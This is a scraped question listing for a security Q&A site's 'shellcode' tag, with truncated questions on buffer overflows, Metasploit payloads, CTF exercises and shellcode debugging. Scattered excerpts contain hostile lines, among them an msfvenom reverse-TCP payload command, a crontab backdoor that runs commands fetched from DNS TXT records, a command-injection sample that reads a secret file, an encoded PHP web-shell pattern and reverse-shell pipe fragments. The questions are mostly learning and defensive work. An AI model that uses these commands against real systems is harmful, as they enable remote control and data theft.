Questions tagged [shellcode]
In computer security, a shellcode is a small piece of code used as the payload in the exploitation of a software vulnerability. It is called "shellcode" because it typically starts a command shell from which the attacker can control the compromised machine, but any piece of code that performs a similar task can be called shellcode.
235
questions
5
votes
1
answer
9k
views
Error Running command shell :TimeoutError Operation Time out
I am Testing a Payload linux/x86/meterpreter/reverse_tcp in my Test Linux network to Exploit, I got a Meterpreter Session by Metasploit using it, I tried several commands like getuid, cat and all ...
CommunityBot
- 1
1
vote
2
answers
654
views
Abusing Shell Feature for Privilege Escalation
This was covered in Linux PrivEsc, task 15, in this TryHackMe room.
I am having trouble understanding how this debugging mode is executing the commands in the PS4 variable, and why I must put /usr/...
- 128k
0
votes
0
answers
9
views
One or more essential parameters were not entered powershell for firewall outbound rule command [migrated]
I have an existing Outbound Rule in my firewall with a set of specified IP addresses. For enhanced security, I want to append additional IP addresses to this rule using a shell script. I am trying to ...
- 128k
1
vote
1
answer
96
views
Why would you use the command `test` in a php shell injection?
I saw someone doing this in a php shell injection:
test | cat /var/backup/secret.txt
Why are they using test |? How is that not useless here?
CommunityBot
- 1
0
votes
1
answer
114
views
Info integer overflow vulnerability
I've found this interesting question Is this integer overflow vulnerability exploitable?.
How can I practically find the next instruction (in gdb) so that I can overwrite the return address and ...
CommunityBot
- 1
2
votes
1
answer
627
views
Exploit education stack-five: trouble opening shell
Im trying the phoenix vm, challenge stack-five on exploit.education (http://exploit.education/phoenix/stack-five/).
I run onto a problem while exploiting a stack overflow. The challenge is run execve('...
CommunityBot
- 1
0
votes
1
answer
193
views
Automatically insertion of 00 in EIP in Stack Overflow 64bit
I am trying to overflow a stack in C sample code to execute uncalled function in code.
The problem is when i overflow stack by entering a(24 times), $EIP is 0x555555550061. I want it to be ...
CommunityBot
- 1
0
votes
0
answers
90
views
Encoding shellcode to hide in filename / directory
Working on a CTF challenge and the coordinators hint suggests that one of the vectors to inject shellcode is via pathing. Looking at debugging prints does show the cwd and filename are passed onto the ...
- 1
0
votes
1
answer
86
views
pvefindaddr p2 in mona?
Is there a "!pvefindaddr p2" (search for all pop/pop/ret combinations in the entire process memory space) equivalent in mona.py?
Alternatively, is there any option to run pvefindaddr in ...
CommunityBot
- 1
0
votes
0
answers
74
views
Decoding shellcode gets detected in memory on runtime
I am developing a custom shellcode encoder in C++. It takes shellcode as a command line argument and generates encoded shellcode (unsigned char array) and the instructions to decode it (C/C++ code). I ...
- 1
0
votes
1
answer
199
views
Unable to execute shellcode on x86_64 architecture
I currently got interested in binary exploitation (even though I do not know if today is still useful).
I started studying shellcode and buffer overflow (stack-buffer overflow, specifically). I know ...
CommunityBot
- 1
0
votes
1
answer
116
views
Exporting shellcode to environment variable doesn't work as expected
(This is a question regarding a challenge in a wargame on overthewire.org called Narnia similar to Shellcode does not execute as the owner )
When exporting shellcode to EGG environment variable
export ...
- 18.8k
1
vote
1
answer
4k
views
Starting a new shell in a strcpy exploit using buffer overflow
I'm learning about buffer overflows and have this vulnerable code which I'm trying to start a shell from:
#include <string.h>
void myfunction(char *arg);
int main(int argc, char **argv)
{
...
CommunityBot
- 1
4
votes
4
answers
4k
views
Clamav can't detect encoded virus files
I have a PHP sheller file (like c99 file) but it's encoded with this functions:
eval(gzinflate(base64_decode("7P3rehblahblah"))
The clamav virus scan can't detect it. How can I detect a virus and ...
- 128k
8
votes
3
answers
2k
views
Buffer overflow stack adjustment
I am quite new to buffer overflows and I am practicing right now different types of buffer overflow attacks. The shellcode was not executed until it was padded with NOPs although it's set properly in ...
- 128k
1
vote
1
answer
242
views
Buffer overflow stops executing shellcode in the middle of it
I am trying to execute a simple shellcode by using a buffer overflow. The shell code starts executing but stops in the middle (even though it is fully copied to memory).
This is the vulnerable C code:...
- 121
1
vote
2
answers
412
views
Linux x86_64 Assembly works standalone, but Segfaults when ran as shellcode in C
I wrote a NASM program that uses the execve system call to run wget inside a newly spawned shell and execute the retrieved page:
[bits 64]
global _start
section .text
_start:
xor rcx, rcx
...
- 21
0
votes
1
answer
408
views
Problem with shellcode when exploiting Chakra
I study Information Security at university, and we got at school a project to use some old patched vulnerability to get control over PC. We have chosen Chakra exploit CVE-2016-7200. We have it working ...
CommunityBot
- 1
0
votes
3
answers
2k
views
MSFvenom payload with dynamic options
I am using MSFvenom to export meterpreter's reverse TCP payload. While this works with msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.6.131 LPORT=4444 -f -exe > ~/Desktop/...
4
votes
1
answer
1k
views
Not able to run the injected shellcode
#include <stdio.h>
void secret()
{
printf("Congratulations!\n");
}
void echo()
{
char array[60];
scanf("%s", array);
printf("You entered: %s\n", array);
}
int main()
{
...
CommunityBot
- 1
2
votes
1
answer
92
views
Does it matter what nameserver is queried for TXT records?
I found this backdoor in a crontab:
* * * * * /bin/sh -c "sh -c $(dig imf0rce.htb TXT +short @ns.imf0rce.htb)"
And if i understood correctly, it queries all the TXT records in the domain ...
- 9,212
5
votes
4
answers
20k
views
Is it possible to execute a local file or code from cURL?
I wonder if it is possible to execute bash code or a local file from cURL, that is, using the following syntax:
curl "local file"
I was looking for possible solutions and found that to read the ...
- 97
20
votes
1
answer
9k
views
How does shellcode really run?
I read the book "The Shellcoders Handbook", and in it there is some C code which will execute shellcode (it will only call exit syscall).
char shellcode[] = “\xbb\x00\x00\x00\x00\xb8\x01\x00\x00\x00\...
- 66.5k
2
votes
1
answer
2k
views
BufferOverflow ESP too small for shellcode
I want to write an exploit for a test application that provides only 12 bytes of space at the ESP. I'm not able to place shellcode in such a small space. I have no clue what I can do to solve this.
I ...
CommunityBot
- 1
2
votes
1
answer
1k
views
Shellcode not executing properly
I managed to get shellcode to be pointed to by eip by building my executable without safety measures.
However, it does not appear to execute.
Here is the C source of my vulnerable program:
#include ...
CommunityBot
- 1
4
votes
2
answers
261
views
Instruction Overwrites with Garbage?
I am practicing a function return address overwriting exploit. However, the program instruction pointer instead gets overwritten by gibberish. I have tried compiling with -fno-builtin and -fno-...
- 5,939
0
votes
2
answers
410
views
Shellcode not executing despite EIP being overwritten properly
Here is my exploit:
junk = b'A' * 1032
eip = b"\xf5\x93\x4a\x00" # some address where 'jmp esp' lives
shellcode = b""
shellcode += b"\x33\xc0" # xor eax, ...
CommunityBot
- 1
3
votes
1
answer
859
views
Where I am going wrong with Veil? Cannot get a reverse shell? [duplicate]
This is how I am generating the payload in Veil 3
> use XX
> set LHOST X.X.X.X
> set LPORT 3333
> generate
The payload generates successfully and transferred to victim machine Win7 SP1 ...
- 128k
-1
votes
1
answer
444
views
How do you execute ls -la when encoded as hex? [closed]
There used to be a really bad joke from the internet where you would copy something starting with \x0B\x2E... (just an example) and when you execute this command the terminal would interpret it as ...
- 128k
0
votes
2
answers
620
views
What is the maximum payload injection size
I have been conducting some minor research into the various forms of exploitation, such as buffer overflows and similar.
Most tutorials seem to focus on executing shellcode, that is code which ...
- 2,257
1
vote
3
answers
1k
views
Can't inject meterpreter shellcode in c++ code
I want to inject meterpreter shellcode in a c++ program.
When I create .exe file in msfvenom, I try it in my virtual machine (Windows 7) and it works well.
But when I create shellcode and inject it ...
CommunityBot
- 1
2
votes
1
answer
767
views
Eliminating 0x0a from ShellCode for unlink file
I have written a shellcode to unlink a file from the system, but when I extracted the hexcode off the binary file, it consists of \x0a byte, because the sys call number for unlink function is 10, so ...
- 128k
5
votes
1
answer
11k
views
Reverse Bash Shell one liner
I know that when the following code is run a reverse bash shell is created from the victim's computer to the attacker's computer. Can someone please explain to me the significance of the number "...
- 1,504
0
votes
0
answers
468
views
Shell does not execute after buffer overflow
I am trying to do a buffer overflow on 64-bit Kali VM. When I execute the program and inject the NOP sled + shellcode + return address, the shell does not execute. I think it might have something to ...
- 1
19
votes
2
answers
24k
views
How "leaking pointers" to bypass DEP/ASLR works
I was wondering if anyone could give me some clues on how "leaking pointers" to bypass DEP/ASLR work. I read here:
The only way to reliably bypass DEP and ASLR is through an pointer
leak. This is ...
CommunityBot
- 1
1
vote
2
answers
9k
views
Can pipe | shell | nc > pipe achieve remote shell?
In one of the articles I have came across an exploit of Dell devices that said when you trigger the following line of code (executed somewhere in php) you will get a remote root shell :
mkfifo /tmp/...
- 31
1
vote
1
answer
96
views
CLI application running user defined command periodically [closed]
For a toy CLI application I'm writing, I'd like to store a string with an user defined command that will be executed periodically (like shell -c <command_string>).
I have seen other applications ...
0
votes
1
answer
111
views
What is claimed here about a vulnerability in the target of a "really common shell"?
in https://twitter.com/nnwakelam/status/1363761612423786496, its tweeted:
fucking yikes.. ran every bitcoin exchange for a really common shell and found....
Uname: Linux cloudimage 4.4.0-166-generic ...
- 72.7k
2
votes
1
answer
1k
views
Prevent shell script inside image file
Recently, one of my website was hacked by someone who uploaded an image (shell.gif) to my server.
I have put server side validation to check file extension + mime type of the image. However, they are ...
- 11
2
votes
2
answers
2k
views
How do I gain root access to a system using a setuid root binary?
Assuming that I have no ability to use sudo and rather limited permissions, but I have a shell script exploit that allows to me change the file ownership of a file to the current user by running a ...
- 488
4
votes
0
answers
751
views
C program - exploit program (after seg fault)
The program below takes three parameters - Base to convert from, base to convert to and the number to convert in binary
As part of learning security - I am trying to buffer overflow this program. I ...
- 12.7k
3
votes
1
answer
1k
views
Python - ctypes.cast function call outputs Segmentation Fault error message
Background:
Writing a proof of concept of a twitter C&C inspired by Prof Viviek of SPSE similiar to twittor and the project includes a functionality of injecting shellcode and executing it ...
- 12.7k
2
votes
1
answer
557
views
How to avoid crash after successfully run shellcode?
I am a student studying information security. Recently I read this article link and made full exploit code. calc.exe is executed as expected. But after running shellcode, IE just crashed. (because no ...
- 27
0
votes
2
answers
1k
views
Buffer Overflow : segmentation error at 0x90909090
why am i getting a segmentation fault at a NOP sled isnt it supposed to sled the instructions till it gets to the shell code ?
0xbffff030: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff040: ...
- 1
1
vote
0
answers
171
views
MessageBoxA only shows up in debugger?
This question is related to crackmes.de's k1 by xtfusion. I'm trying to add custom shellcode through stack overflow.
The shellcode works perfect under Windows XP (without ASLR) when the program is ...
- 111
0
votes
2
answers
2k
views
Can't execute shell i uploaded with cURL
I uploaded a PHP web shell to a site, and to bypass the file upload restriction, I used a .php.jpg extension.
When I open my shell with a web browser, it doesn't execute (confirmed with a packet ...
- 128k
1
vote
1
answer
628
views
Decompiling shellcode
I'm trying to understand how shellcode works.
I wrote a simple program in C#, then I used Donut to create the shellcode from that exe in base64 format.
Then, I wrote again another program to convert ...
- 11.5k
19
votes
1
answer
14k
views
NOPS in Metasploit
Problem
I do not know what a "NOP" is in Metasploit Framework or otherwise.
What I do know
Metasploit Unleashed says, "Nops keep the payload sizes consistent."
A few question posts mention buffer ...
- 1
1
vote
1
answer
8k
views
Shellcode in MongoDB Python code
I know I can input this into a search box that queries the MongoDB. I have updated the code with my shell code, but I won't include that, I will just use the exploit as it is here:
db.my_collection....
- 29
1
vote
1
answer
664
views
shellcode JMP-CALL-POP technique ( Segmentation fault (core dumped) )
I write this shellcode for spawn a shell on the box using JMP-CALL-POP technique but i keep got this error i don't now why !!
Segmentation fault (core dumped)
my shellcode :
section .text
...
